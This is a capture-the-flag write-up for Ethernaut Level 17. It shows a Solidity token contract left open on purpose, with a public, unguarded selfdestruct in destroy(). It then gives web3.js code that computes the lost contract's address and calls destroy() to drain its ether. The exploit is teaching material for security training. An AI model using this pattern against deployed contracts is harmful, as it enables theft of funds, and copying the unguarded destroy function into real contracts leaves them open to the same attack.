Ethernaut Level 17: Recovery
Solidity Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
Requirements
- Recover the 0.001 ether from the lost contract address.
Concepts
Hack
There are 2 ways we can recover the address of the lost contract. First, we can calculate the address because
... the address of a contract is determined at the time the contract is created (it is derived from the creator address and the number of transactions sent from that address, the so-called “nonce”).
As indicated in the Ethereum Yellow Paper
The address of the new account is defined as being the rightmost 160 bits of the Keccak-256 hash of the RLP encoding of the structure containing only the sender and the account nonce.
Therefore, we simply have to solve this equation
address = rightmost_160_bits(keccak(RLP(sender address, nonce)))
Another simpler method is using etherscan. We can go to the Recovery
instance address and investigate the internal transactions.
Selecting the Contract Creation
transaction, we are redirected to the SimpleToken
instance.
Solution
Using web3.js, we can calculate the address of the lost contract.
web3.utils.soliditySha3("0xd6", "0x94", instance, "0x01")
> 0xf29954b3b5bf20471baec20c94f3cc1dc21a67f4e641ab08efaf3b2e8568668c
The last 20 bytes of the output is the address of the lost contract.
> 0x94f3cc1dc21a67f4e641ab08efaf3b2e8568668c
This is the same address as the one we saw in etherscan. Finally, to recover the funds we must call the destroy
method. Using web3.js, we encode the destroy
function and pass our address as a parameter.
destroyMethod = web3.eth.abi.encodeFunctionCall({
name: 'destroy',
type: 'function',
inputs: [{
type: 'address',
name: '_to'
}]
}, [player]);
Lastly, we sendTransaction
to the lost contract address containing the destroyMethod
.
await web3.eth.sendTransaction({
to: lostContractAddress,
from: player,
data: destroyMethod
})
Done!